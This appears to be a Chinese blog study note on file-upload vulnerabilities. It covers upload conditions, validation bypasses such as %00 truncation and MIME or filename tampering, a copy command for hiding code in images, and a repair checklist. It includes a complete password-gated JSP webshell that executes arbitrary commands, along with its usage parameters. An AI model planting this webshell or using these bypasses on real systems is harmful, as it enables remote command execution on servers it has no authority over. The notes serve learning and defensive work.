文件上传漏洞

验证/绕过

利用思路

文件上传利用条件

1.能上传

2.能解析

3.知道上传的路径且可以访问

文件上传常见验证:

后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME信息
文件头:内容头信息

%00只能在php5.3以下才会生效

图片马🐎

使用cmd copy命令将php代码插入图片_php怎么引入图片-CSDN博客
/a 表示一个 ASCII 文本文件
/b 表示一个二进位文件

复制代码
copy 1.jpg/b + 2.txt/a 3.jpg

尽量使用copy进行制作,手动修改可能破坏图片

二次渲染

【文件上传绕过】--二次渲染-CSDN博客

一句话jsp恶意代码

复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

参数:pwd=023&i=id(ls或者其他也可)

上传参数名解析:明确哪些东西能修改

Content-Disposition:一般可更改

name:表单参数值,不能更改

filename:文件名,可以更改

Content-Type:文件MIME,视情况更改

常见绕过方法

数据溢出-防匹配(xxx...)

符号变异-防匹配(' '' ;)

数据截断-防匹配(%00 ; 换行)

重复匹配-防匹配(参数多次)

文件上传安全修复方案

后端验证:采用服务端验证模式

后缀检测:基于黑名单,白名单过滤

MIME检测:基于上传自带类型检测

内容检测:文件头,完整性检测

自带函数过滤:参考uploadlabs函数

自定义函数过滤:function check_file(){}

waf防护产品:宝塔,云顿,安全公司产品等

相关推荐
用户962377954482 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主3 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954485 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star5 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954485 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全